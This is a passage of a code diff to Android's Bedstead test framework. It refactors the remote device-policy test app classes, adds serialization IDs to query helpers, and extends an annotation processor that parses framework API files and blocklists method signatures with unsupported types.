+            TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_DEFAULT);
         }
     }
 
     @Test
     @RequireRunOnSecondaryUser
     public void switch_hasSetStopBgUsersOnSwitchFalse_doesNotStopUser() {
-        boolean originalStopBgUsersOnSwitch = TestApis.users().getStopBgUsersOnSwitch();
-
         try {
-            TestApis.users().setStopBgUsersOnSwitch(false);
+            TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_FALSE);
             TestApis.users().system().switchTo();
 
             assertThat(sDeviceState.secondaryUser().isRunning()).isTrue();
         } finally {
-            TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
+            TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_DEFAULT);
             sDeviceState.secondaryUser().start();
             sDeviceState.secondaryUser().switchTo();
         }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java
index a964335..8cd36b4 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java
@@ -24,6 +24,9 @@
  * <p>This is used instead of {@link Class} so that it can be easily serialized.
  */
 public class ClassInfo implements Serializable {
+
+    private static final long serialVersionUID = 1;
+
     private final String mClassName;
 
     public ClassInfo(Object obj) {
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
index 106bf7f..0c66fb3 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
@@ -69,4 +69,4 @@
      */
     @CheckResult
     ListQuery<E, Integer, IntegerQuery<E>> integerListValue();
-}
\ No newline at end of file
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java
index 3567384..6d98ec4 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java
@@ -28,6 +28,8 @@
 public final class BundleKeyQueryHelper<E extends Queryable> implements BundleKeyQuery<E>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private Boolean mExpectsToExist = null;
     private StringQueryHelper<E> mStringQuery = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
index 0907b99..4b901fc 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
@@ -31,6 +31,8 @@
 public final class BundleQueryHelper<E extends Queryable> implements BundleQuery<E>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private final Map<String, BundleKeyQueryHelper<E>> mKeyQueryHelpers = new HashMap<>();
 
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
index 3b13473..494dcdd 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
@@ -25,6 +25,8 @@
 public final class ClassQueryHelper<E extends Queryable>
         implements ClassQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private final StringQueryHelper<E> mClassName;
     private final StringQueryHelper<E> mSimpleName;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
index 40d1d1e..020c07a 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
@@ -29,6 +29,8 @@
 public final class EnumQueryHelper <E extends Queryable, F> implements EnumQuery<E, F>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private Set<F> mIsEqualTo = null;
     private Set<F> mIsNotEqualTo = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
index 2f622ef..a9b8a1b 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
@@ -26,6 +26,8 @@
 public final class IntegerQueryHelper<E extends Queryable> implements IntegerQuery<E>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private Integer mEqualToValue = null;
     private Integer mGreaterThanValue = null;
     private Integer mGreaterThanOrEqualToValue = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
index f0d1911..4da9a7d 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
@@ -27,6 +27,8 @@
 public final class IntentQueryHelper<E extends Queryable> implements IntentQuery<E>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private final StringQueryHelper<E> mAction;
     private final BundleQueryHelper<E> mExtras;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
index 15d6272..d1e3081 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
@@ -75,4 +75,4 @@
      * {@link #contains(Query[])}.
      */
     <H extends Collection<F>> E doesNotContainAny(H... collections);
-}
\ No newline at end of file
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
index a2957f7..bee2222 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
@@ -29,6 +29,8 @@
 public final class ListQueryHelper<E extends Queryable, F, G extends Query<F>>
         implements ListQuery<E, F, G>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private E mQuery;
     private final IntegerQueryHelper<E> mSizeQuery;
     private final List<G> mContainsByQuery = new ArrayList<>();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
index 29bcfe5..34cb5ad 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
@@ -27,6 +27,8 @@
 /** Implementation of {@link LongQuery}. */
 public final class LongQueryHelper<E extends Queryable> implements LongQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     @Nullable private Long mEqualToValue = null;
     @Nullable private Long mGreaterThanValue = null;
     @Nullable private Long mGreaterThanOrEqualToValue = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java
index 502e2a6..25b2aae 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java
@@ -30,6 +30,8 @@
 public final class NotificationQueryHelper<E extends Queryable> implements NotificationQuery<E>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private final StringQueryHelper<E> mChannelId;
 
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java
index 7bfae24..444d56d 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java
@@ -28,6 +28,8 @@
 public final class PersistableBundleKeyQueryHelper<E extends Queryable>
         implements PersistableBundleKeyQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private Boolean mExpectsToExist = null;
     private StringQueryHelper<E> mStringQuery = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
index 6e8a7a4..530ea83 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
@@ -31,6 +31,8 @@
 public final class PersistableBundleQueryHelper<E extends Queryable>
         implements PersistableBundleQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private final Map<String, PersistableBundleKeyQueryHelper<E>> mKeyQueryHelpers =
             new HashMap<>();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
index af6d390..76902df 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
@@ -26,6 +26,8 @@
 public final class SerializableQueryHelper<E extends Queryable>
         implements SerializableQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private Serializable mEqualsValue;
 
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
index 870cadc..a659887 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
@@ -30,6 +30,8 @@
 
 public final class SetQueryHelper<E extends Queryable, F, G extends Query<F>> implements SetQuery<E, F, G>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private E mQuery;
     private final IntegerQueryHelper<E> mSizeQuery;
     private final Set<G> mContainsByQuery = new HashSet<>();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
index eff4ca1..b7406d8 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
@@ -26,6 +26,8 @@
 public final class StringQueryHelper<E extends Queryable>
         implements StringQuery<E>, Serializable{
 
+    private static final long serialVersionUID = 1;
+
     private final transient E mQuery;
     private String mEqualsValue;
 
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java
index 0e40a24..c844ce2 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java
@@ -29,6 +29,8 @@
 public final class UriQueryHelper<E extends Queryable>
         implements UriQuery<E>, Serializable{
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private Uri mEqualsValue;
     private final StringQueryHelper<E> mStringValue = new StringQueryHelper<>();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
index 5a4c4ec..9bf2824 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
@@ -29,6 +29,8 @@
 public final class UserHandleQueryHelper<E extends Queryable>
         implements UserHandleQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private UserHandle mEqualsValue;
     private IntegerQueryHelper<E> mIdQuery;
diff --git a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDelegate.java b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDelegate.java
new file mode 100644
index 0000000..714208f
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDelegate.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remotedpc;
+
+import android.content.ComponentName;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppProvider;
+
+/**
+ * {@link RemotePolicyManager} subclass representing an app which has been delegated to.
+ */
+public final class RemoteDelegate extends RemotePolicyManager {
+
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    public static final TestApp sTestApp = sTestAppProvider.query()
+            .wherePackageName().isEqualTo("com.android.Delegate")
+            .get();
+
+    public RemoteDelegate(TestApp testApp, UserReference user) {
+        super(testApp, user);
+    }
+
+    @Nullable
+    @Override
+    public ComponentName componentName() {
+        return null;
+    }
+}
diff --git a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
index 5701913..01519a0 100644
--- a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
+++ b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
@@ -19,7 +19,6 @@
 import static android.os.UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES;
 
 import android.content.ComponentName;
-import android.content.Context;
 import android.os.Build;
 import android.os.UserHandle;
 
@@ -33,14 +32,10 @@
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.Versions;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
 import com.android.bedstead.testapp.TestAppProvider;
 
 /** Entry point to RemoteDPC. */
-public final class RemoteDpc extends TestAppInstanceReference {
-
-    // This must be instrumentation not instrumented to access the resources
-    private static final Context sContext = TestApis.context().instrumentationContext();
+public final class RemoteDpc extends RemotePolicyManager {
 
     public static final ComponentName DPC_COMPONENT_NAME = new ComponentName(
             "com.android.RemoteDPC",
@@ -258,16 +253,9 @@
     }
 
     /**
-     * Get the {@link TestAppInstanceReference} for the DPC.
-     *
-     */
-    public TestAppInstanceReference app() {
-        return sTestApp.instance(mDevicePolicyController.user());
-    }
-
-    /**
      * Get the {@link ComponentName} of the DPC.
      */
+    @Override
     public ComponentName componentName() {
         return DPC_COMPONENT_NAME;
     }
diff --git a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemotePolicyManager.java b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemotePolicyManager.java
new file mode 100644
index 0000000..8532ef3
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemotePolicyManager.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remotedpc;
+
+import android.content.ComponentName;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+
+/** A Remote app which can change device policy */
+public abstract class RemotePolicyManager extends TestAppInstance {
+
+    RemotePolicyManager(TestApp testApp, UserReference user) {
+        super(testApp, user);
+    }
+
+    /**
+     * Get the {@link ComponentName} of the device admin for the policy manager.
+     *
+     * <p>Null if there is no device admin
+     */
+    @Nullable
+    public abstract ComponentName componentName();
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java
index 57b31c5..0a6bafb 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java
@@ -28,6 +28,9 @@
 import java.util.Set;
 import java.util.stream.Collectors;
 
+import javax.lang.model.element.TypeElement;
+import javax.lang.model.type.TypeKind;
+import javax.lang.model.type.TypeMirror;
 import javax.lang.model.util.Elements;
 import javax.lang.model.util.Types;
 
@@ -39,20 +42,19 @@
     private static final String[] API_FILES =
             {"current.txt", "test-current.txt", "wifi-current.txt"};
 
-    private static final Set<String> API_TXTS = initialiseApiTxts();
+    private static final Map<String, String> API_TXTS = initialiseApiTxts();
     private static final Map<String, Apis> sPackageToApi = new HashMap<>();
 
-    private static Set<String> initialiseApiTxts() {
+    private static Map<String, String> initialiseApiTxts() {
         return Arrays.stream(API_FILES)
-                .map(f -> {
+                .collect(Collectors.toMap(f -> f, f -> {
                     try {
                         return Resources.toString(Processor.class.getResource("/apis/" + f),
                                 StandardCharsets.UTF_8);
                     } catch (IOException e) {
                         throw new IllegalStateException("Could not read file " + f);
                     }
-                })
-                .collect(Collectors.toSet());
+                }));
     }
 
     /**
@@ -62,30 +64,55 @@
         if (sPackageToApi.containsKey(className)) {
             return sPackageToApi.get(className);
         }
-
         ImmutableSet.Builder<MethodSignature> methods = ImmutableSet.builder();
-        for (String apiTxt : API_TXTS) {
-            methods.addAll(parseApiTxt(apiTxt, className, types, elements));
+        Set<String> parents = new HashSet<>();
+        findParents(parents, className, elements);
+        for (String c : parents) {
+            for (Map.Entry<String, String> apiTxt : API_TXTS.entrySet()) {
+                methods.addAll(
+                        parseApiTxt(apiTxt.getKey(), apiTxt.getValue(), c, types, elements));
+            }
         }
 
         return new Apis(methods.build());
     }
 
+    private static void findParents(Set<String> parents, String className, Elements elements) {
+        parents.add(className);
+
+        if (className.equals("java.lang.Object")) {
+            return;
+        }
+
+        TypeElement element = elements.getTypeElement(className);
+        System.out.println("Checking " + className + " got " + element);
+
+        TypeMirror superClass = element.getSuperclass();
+        if (!superClass.getKind().equals(TypeKind.NONE)) {
+            findParents(parents, superClass.toString(), elements);
+        }
+
+        element.getInterfaces().stream().map(TypeMirror::toString)
+                .forEach(c -> findParents(parents, c, elements));
+    }
+
     private static Set<MethodSignature> parseApiTxt(
-            String apiTxt, String className, Types types, Elements elements) {
+            String filename, String apiTxt, String className, Types types, Elements elements) {
+        System.out.println("Parsing for " + className);
+
         int separatorPosition = className.lastIndexOf(".");
         String packageName = className.substring(0, separatorPosition);
         String simpleClassName = className.substring(separatorPosition + 1);
 
         String[] packageSplit = apiTxt.split("package " + packageName + " \\{", 2);
         if (packageSplit.length < 2) {
-            System.out.println("Package " + packageName + " not in file");
+            System.out.println("Package " + packageName + " not in file " + filename);
             // Package not in this file
             return new HashSet<>();
         }
-        String[] classSplit = packageSplit[1].split("class " + simpleClassName + " \\{", 2);
+        String[] classSplit = packageSplit[1].split("class " + simpleClassName + " .*?\n", 2);
         if (classSplit.length < 2) {
-            System.out.println("Class " + simpleClassName + " not in file");
+            System.out.println("Class " + simpleClassName + " not in file " + filename);
             // Class not in this file
             return new HashSet<>();
         }
@@ -106,10 +133,6 @@
             if (!methodLine.startsWith("method")) {
                 return methodSignatures;
             }
-            if (methodLine.contains(" static ")) {
-                continue; // We don't expose static methods
-            }
-
 
             try {
                 // Strip "method" and semicolon
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
index a1f950a..aa10a8c 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
@@ -76,20 +76,25 @@
         string = string.replaceAll("@.+? ", "");
 
         String[] parts = string.split(" ", 2);
-        Visibility visibility = Visibility.valueOf(parts[0].toUpperCase());
+        Visibility visibility;
+        try {
+            visibility = Visibility.valueOf(parts[0].toUpperCase());
+        } catch (IllegalArgumentException e) {
+            throw new IllegalStateException("Error finding visibility in string " + string);
+        }
         string = parts[1];
         parts = string.split(" ", 2);
 
         TypeMirror returnType;
-        if (parts[0].equals("abstract")) {
-            // Doesn't matter - we're wrapping anyway
+        while (parts[0].equals("abstract") || parts[0].equals("final")
+                || parts[0].equals("static")) {
+            // These don't affect the signature in ways we care about
             string = parts[1];
             parts = string.split(" ", 2);
-            returnType = typeForString(parts[0], types, elements);
-        } else {
-            returnType = typeForString(parts[0], types, elements);
         }
 
+        returnType = typeForString(parts[0], types, elements);
+
         string = parts[1];
         parts = string.split("\\(", 2);
         String methodName = parts[0];
@@ -97,11 +102,18 @@
         parts = string.split("\\)", 2);
         // Remove generic types as we don't need to care about them at this point
         String parametersString = parts[0].replaceAll("<.*>", "");
-        List<TypeMirror> parameters = Arrays.stream(parametersString.split(","))
-                .map(String::trim)
-                .filter(t -> !t.isEmpty())
-                .map(t -> typeForString(t, types, elements))
-                .collect(Collectors.toList());
+        // Remove varargs
+        parametersString = parametersString.replaceAll("\\.\\.\\.", "");
+        List<TypeMirror> parameters;
+        try {
+            parameters = Arrays.stream(parametersString.split(","))
+                    .map(String::trim)
+                    .filter(t -> !t.isEmpty())
+                    .map(t -> typeForString(t, types, elements))
+                    .collect(Collectors.toList());
+        } catch (IllegalStateException e) {
+            throw new IllegalStateException("Error parsing types from string " + parametersString);
+        }
         string = parts[1];
         Set<TypeMirror> exceptions = new HashSet<>();
         if (string.contains("throws")) {
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index ba321d5..d93ff7e 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -34,7 +34,10 @@
 import java.net.URL;
 import java.nio.charset.StandardCharsets;
 import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
 import java.util.stream.Collectors;
 
@@ -42,7 +45,6 @@
 import javax.annotation.processing.RoundEnvironment;
 import javax.annotation.processing.SupportedAnnotationTypes;
 import javax.lang.model.SourceVersion;
-import javax.lang.model.element.ElementKind;
 import javax.lang.model.element.ExecutableElement;
 import javax.lang.model.element.Modifier;
 import javax.lang.model.element.TypeElement;
@@ -57,7 +59,7 @@
  *
  * <p>This is started by including the {@link RemoteFrameworkClasses} annotation.
  *
- * <p>For each entry in {@code SYSTEM_SERVICES} this will generate an interface including all public
+ * <p>For each entry in {@code FRAMEWORK_CLASSES} this will generate an interface including all public
  * and test APIs with the {@code CrossUser} annotation. This interface will be named the same as the
  * framework class except with a prefix of "Remote", and will be in the same package.
  *
@@ -70,7 +72,7 @@
 @AutoService(javax.annotation.processing.Processor.class)
 public final class Processor extends AbstractProcessor {
 
-    private static final String[] SYSTEM_SERVICES = {
+    private static final String[] FRAMEWORK_CLASSES = {
             "android.app.admin.DevicePolicyManager",
             "android.net.wifi.WifiManager",
             "android.os.HardwarePropertiesManager",
@@ -78,12 +80,18 @@
             "android.content.pm.PackageManager",
             "android.content.pm.CrossProfileApps",
             "android.content.pm.LauncherApps",
-            "android.accounts.AccountManager"
+            "android.accounts.AccountManager",
+            "android.app.Activity",
+            "android.content.Context",
+            "android.content.ContentResolver",
+            "android.security.KeyChain"
     };
 
     private static final String PARENT_PROFILE_INSTANCE =
             "public android.app.admin.DevicePolicyManager getParentProfileInstance(android"
                     + ".content.ComponentName)";
+    private static final String GET_CONTENT_RESOLVER =
+            "public android.content.ContentResolver getContentResolver()";
 
     private static final Set<String> BLOCKLISTED_METHODS = ImmutableSet.of(
             // DevicePolicyManager
@@ -297,13 +305,342 @@
             "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
             "public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)"
-    );
+            "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)",
 
+            // Uses android.accounts.AccountManager
+            "public static android.accounts.AccountManager get(android.content.Context)",
+
+            // Activity
+
+            // Uses android.view.View
+            "public void addContentView(android.view.View, android.view.ViewGroup.LayoutParams)",
+            "@Nullable public android.view.View getCurrentFocus()",
+            "@Nullable public android.view.View onCreatePanelView(int)",
+            "@Nullable public android.view.View onCreateView(@NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet)",
+            "@Nullable public android.view.View onCreateView(@Nullable android.view.View, @NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet)",
+            "public boolean onPreparePanel(int, @Nullable android.view.View, @NonNull android.view.Menu)",
+            "public void openContextMenu(android.view.View)",
+            "public void registerForContextMenu(android.view.View)",
+            "public void setContentView(android.view.View)",
+            "public void setContentView(android.view.View, android.view.ViewGroup.LayoutParams)",
+            "public void unregisterForContextMenu(android.view.View)",
+
+            // Uses java.io.FileDescriptor
+            "public void dump(@NonNull String, @Nullable java.io.FileDescriptor, @NonNull java.io.PrintWriter, @Nullable String[])",
+
+            // Uses android.app.Activity
+            "@Deprecated public void finishActivityFromChild(@NonNull android.app.Activity, int)",
+            "@Deprecated public void finishFromChild(android.app.Activity)",
+            "public final android.app.Activity getParent()",
+            "@Deprecated public boolean navigateUpToFromChild(android.app.Activity, android.content.Intent)",
+            "protected void onChildTitleChanged(android.app.Activity, CharSequence)",
+            "@Deprecated public boolean onNavigateUpFromChild(android.app.Activity)",
+            "@Deprecated public void startActivityFromChild(@NonNull android.app.Activity, @RequiresPermission android.content.Intent, int)",
+            "@Deprecated public void startActivityFromChild(@NonNull android.app.Activity, @RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle)",
+            "@Deprecated public void startIntentSenderFromChild(android.app.Activity, android.content.IntentSender, int, android.content.Intent, int, int, int) throws android.content.IntentSender.SendIntentException",
